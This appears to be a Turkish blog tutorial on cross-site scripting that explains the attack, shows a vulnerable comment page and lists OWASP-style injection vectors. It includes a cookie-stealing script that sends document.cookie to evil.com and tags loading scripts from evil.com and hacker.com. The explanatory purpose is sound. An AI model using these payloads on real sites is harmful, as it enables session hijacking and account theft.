XSS nedir ?

 

 Siteler Arası Komut Dosyası Çalıştırma (XSS)

Siteler Arası Komut Dosyası Çalıştırma (XSS), istemci tarafı kod yerleştirme saldırısıdırSaldırgan, meşru bir web sayfasına veya web uygulamasına kötü amaçlı kod ekleyerek kurbanın web tarayıcısında kötü amaçlı komut dosyaları çalıştırmayı amaçlar. Asıl saldırı, kurban, kötü amaçlı kodu yürüten web sayfasını veya web uygulamasını ziyaret ettiğinde gerçekleşir. Web sayfası veya web uygulaması, kötü amaçlı komut dosyasını kullanıcının tarayıcısına iletmek için bir araç haline gelir. Siteler Arası Komut Dosyası Çalıştırma saldırıları için yaygın olarak kullanılan savunmasız araçlar forumlar, mesaj panoları ve yorumlara izin veren web sayfalarıdır.

Bir web sayfası veya web uygulaması, temizlenmiş veri kullanmıyorsa XSS'e karşı savunmasızdır. Bu kullanıcı girişi daha sonra kurbanın tarayıcısı tarafından ayrıştırılmalıdır. VBScript, ActiveX, Flash ve hatta CSS'de XSS saldırıları yapılabilir . Ancak, JavaScript en yaygın olanıdır, çünkü JavaScript çoğu tarama icin en basitlerindendir.

xss


“Siteler Arası Komut Dosyası Yazmak (xss) Kullanıcı sorunu mudur ?”

Bir saldırgan, bir kullanıcının tarayıcısında rastgele JavaScript yürütmek için bir web sayfasındaki bir XSS güvenlik açığını kötüye kullanabilirse, bu güvenlik açığı bulunan web sitesinin veya güvenlik açığı bulunan web uygulamasının ve kullanıcılarının güvenliği tehlikeye girmiş demektir. XSS, diğer güvenlik açıkları gibi kullanıcının sorunu değildir. Web sayfasını etkiliyorsa, sizi de etkiler.

Siteler Arası Komut Dosyası , kullanıcıyı hedeflemek yerine bir web sitesini tahrik etmek için de kullanılabilir Saldırgan, web sitesinin içeriğini değiştirmek için enjekte edilen komut dosyalarını kullanabilir hatta tarayıcıyı, örneğin kötü amaçlı kod içeren başka bir web sayfasına yönlendirebilir.

Saldırgan JavaScript ile Ne Yapabilir?

XSS güvenlik açıkları, örneğin SQL  injeksiyon güvenlik açığından daha az tehlikeli olarak algılanır Bir web sayfasında JavaScript çalıştırma  sonuçları ilk bakışta korkunç görünmeyebilir. Çoğu web tarayıcısı JavaScript'i çok sıkı kontrol edilen bir ortamda çalıştırır. JavaScript, kullanıcının işletim sistemine ve kullanıcının dosyalarına sınırlı erişime sahiptir. Ancak, kötü amaçlı içeriğin bir parçası olarak kötüye kullanıldığında JavaScript  tehlikeli olabilir. örnek vermek gerekirse :


  • Kötü amaçlı JavaScript, web sayfasının geri kalan tüm nesnelere erişebilir. Bu, kullanıcının çerezlerine erişimi içerir. Çerezler genellikle oturum acma tanımlamalarını depolamak için kullanılır. Saldırgan bir kullanıcının oturum tanımlama bilgisini alabilirse, o kullanıcının kimliğine bürünebilir, kullanıcı adına eylemler gerçekleştirebilir ve kullanıcının hassas verilerine erişim sağlayabilir.
  • JavaScript, tarayıcı DOM'unu okuyabilir ve üzerinde keyfi değişiklikler yapabilir. Neyse ki, bu yalnızca JavaScript'in çalıştığı sayfada mümkündür.
  • JavaScript, XMLHttpRequestisteğe bağlı içeriğe sahip HTTP isteklerini , isteğe bağlı hedeflere göndermek için xss açığını kullanabilir .

  • Modern tarayıcılardaki JavaScript, HTML5 API'lerini kullanabilir. Örneğin, kullanıcının coğrafi konumu, web kamerası, mikrofonu ve hatta kullanıcının dosya sisteminden belirli dosyalara erişim sağlayabilir. Bu API'lerin çoğu, kullanıcının onayını gerektirir, ancak saldırgan bu sınırlamayı aşmak için sosyal mühendisliği kullanabilir.

Yukarıdakiler, sosyal mühendislikle birlikte, suçluların çerez hırsızlığı, truva atı yerleştirme, keylogging, phishing ve kimlik hırsızlığı gibi gelişmiş saldırıları gerçekleştirmesine izin verir. XSS güvenlik açıkları, saldırıları daha ciddi saldırılara yükseltmek için mükemmel bir zemin sağlar. Siteler Arası Komut Dosyası Çalıştırma, örneğin Siteler Arası İstek Sahteciliği (CSRF) gibi diğer saldırı türleri ile birlikte de kullanılabilir .

Siteler Arası Komut Dosyası Çalıştırma (xss) Nasıl Çalışır?

Tipik bir XSS saldırısının iki aşaması vardır:

  1. Saldırganın kurbanın tarayıcısında kötü amaçlı JavaScript kodu çalıştırmak için öncelikle kurbanın ziyaret ettiği bir web sayfasına kötü amaçlı kod (yük) enjekte etmenin bir yolunu bulması gerekir.
  2. Bundan sonra kurban, kötü amaçlı kod içeren web sayfasını ziyaret etmelidir. Saldırı belirli kurbanlara yönelikse, saldırgan, kurbana kötü niyetli bir URL göndermek için sosyal mühendislik veya phishing kullanabilir.

Birinci adımın mümkün olması için, savunmasız web sitesinin sayfalarına doğrudan kullanıcı girdisi  eklemesi gerekir. Saldırgan daha sonra web sayfasında kullanılacak ve kurbanın tarayıcısı tarafından kaynak kodu olarak değerlendirilecek kötü niyetli bir kod ekleyebilir. Saldırganın sosyal mühendisliği kullanarak kullanıcıyı bir URL'yi ziyaret etmesi için ayarladığı ve kodun kullanıcının tıkladığı bağlantının bir parçası olduğu XSS saldırılarının çeşitleri de vardır.

Aşağıdakiler, bir web sayfasındaki en son yorumu görüntülemek için kullanılan sunucu tarafı sözde kod parçacığıdır:

print "<html>"
print "<h1>Most recent comment</h1>"
print database.latestComment
print "</html>"

Yukarıdaki komut dosyası, bir veritabanından en son yorumu alır ve bir HTML sayfasına ekler. Yazdırılan yorumun yalnızca metinden oluştuğunu ve HTML etiketi veya başka kod içermediğini varsayar. XSS'e karşı savunmasızdır, çünkü bir saldırgan kötü amaçlı yük içeren bir yorum gönderebilir, örneğin:

<script>doSomethingEvil();</script>

Web sunucusu, bu web sayfasını ziyaret eden kullanıcılara aşağıdaki HTML kodunu sağlar:

<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>

Sayfa kurbanın tarayıcısına yüklendiğinde, saldırganın kötü amaçlı komut dosyası yürütülür. Çoğu zaman, kurban bunun farkına varmaz ve böyle bir saldırıyı önleyemez.

XSS Kullanarak Çerezleri Çalmak

Suçlular, çerezleri çalmak için genellikle XSS kullanır. Bu onların kurbanı taklit etmelerini sağlar. Saldırgan, çerezi birçok şekilde kendi sunucusuna gönderebilir. Bunlardan biri, aşağıdaki istemci tarafı komut dosyasını kurbanın tarayıcısında yürütmektir:

<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>

Aşağıdaki şekil, basit bir XSS saldırısının adım adım izlenmesini göstermektedir. 

xss

açıklama: bu resmi yabancı kaynaktan aldım dikkatli incelenirse gayet basit bir fotograftır.


  1. Saldırgan, kötü amaçlı JavaScript içeriğine sahip savunmasız bir form göndererek web sitesinin veritabanına bir kod enjekte eder.
  2. Kurban, web sayfasını web sunucusundan bulunmasını ister.
  3. Web sunucusu, kurbanın tarayıcısına, HTML gövdesinin bir parçası olarak saldırganın kodu içeren sayfaya enjekte etmeye hizmet eder.
  4. Kurbanın tarayıcısı, HTML gövdesinde bulunan kötü amaçlı komut dosyasını yürütür. Bu durumda kurbanın çerezini saldırganın sunucusuna gönderir.
  5. Saldırganın artık HTTP isteği sunucuya ulaştığında kurbanın çerezini çıkarması yeterlidir.
  6. Saldırgan artık kurbanın kimliğine bürünmek için kurbanın çalınan çerezini kullanabilir.


Siteler Arası Komut Dosyası Saldırı Vektörleri

Aşağıda, bir saldırganın bir XSS saldırısı yoluyla bir web sitesinin veya web uygulamasının güvenliğini bertaraf etmek  için kullanabileceği yaygın XSS saldırı vektörlerinin bir listesi bulunmaktadır. OWASP  tarafından XSS kod örneklerinin daha kapsamlı bir listesi sağlanır:

<script> etiketi

<script>Etiketi en basit XSS kodudur. Bir script etiket, harici JavaScript koduna ulaşabilir veya kodu, script etiketin içine gömebilir .

<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>

JavaScript olayları 

JavaScript olay öznitelikleri onload ve gibi onerrorbirçok farklı etikette kullanılabilir. Bu çok popüler bir XSS saldırı vektörüdür.

<!-- onload attribute in the <body> tag -->
<body onload=alert("XSS")>

<body> etiketi

Bir XSS yükü, <body>olay öznitelikleri  veya öznitelik gibi diğer daha belirsiz öznitelikler kullanılarak içinde teslim edilebilir background.

<!-- background attribute -->
<body background="javascript:alert("XSS")">

<img> etiketi

Bazı tarayıcılar, <img>özelliklerde bulunan JavaScript'i çalıştırır .

<!-- <img> tag XSS -->
<img src="javascript:alert("XSS");">
<!--  tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">

<iframe> etiketi

<iframe>Etiketi, Mevcut sayfada başka bir HTML sayfası yerleştirmeyi sağlar. Bir IFrame JavaScript içerebilir, ancak IFrame'deki JavaScript'in, tarayıcının İçerik Güvenliği Politikası (CSP) nedeniyle üst sayfanın DOM'sine erişimi yoktur. Bununla birlikte, IFrame'ler, phishing saldırılarını engellemek için hala çok etkilidir.

<!-- <iframe> tag XSS -->
<iframe src="http://evil.com/xss.html">

<input> etiketi

Bazı tarayıcılarda, etiketin typeözniteliği <input>olarak ayarlanmışsa image, bir komut dosyasını gömmek için manipüle edilebilir.

<!-- <input> tag XSS -->
<input type="image" src="javascript:alert('XSS');">

<link> etiketi

<link>Genellikle dış stil sayfaları için bağlantıyı için kullanılan bu etiket, bir komut dosyası içerebilir.

<!-- <link> tag XSS -->
<link rel="stylesheet" href="javascript:alert('XSS');">

<table> etiketi

<table>ve <td>etiketlerinin arka plan özniteliği , bir görüntü yerine bir komut dosyasına atıfta bulunmak için kullanılabilir.

<!-- <table> tag XSS -->
<table background="javascript:alert('XSS')">
<!-- <td> tag XSS -->
<td background="javascript:alert('XSS')">

<div> etiketi

<div><Table> ve benzer etiket, <td>etiketler, ayrıca bir arka plan belirtmek ve dolayısıyla bir senaryo gömebilirsiniz.

<!-- <div> tag XSS -->
<div style="background-image: url(javascript:alert('XSS'))">
<!-- <div> tag XSS -->
<div style="width: expression(alert('XSS'));">

<object> etiketi

<object> tagHarici bir siteden bir komut dosyası eklemek için kullanılabilir.

<!-- <object> tag XSS -->
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">


XSS Nasıl Önlenir

Kendinizi XSS'den korumak için tarayıcınızı sterilize etmelisiniz. Uygulama kodunuz, giriş olarak alınan verileri, kötü amaçlı kod olup olmadığını kontrol etmeden doğrudan tarayıcıyı kullanmamalısınız.


Yorum Gönder

0 Yorumlar
* Please Don't Spam Here. All the Comments are Reviewed by Admin.

Top Post Ad

Below Post Ad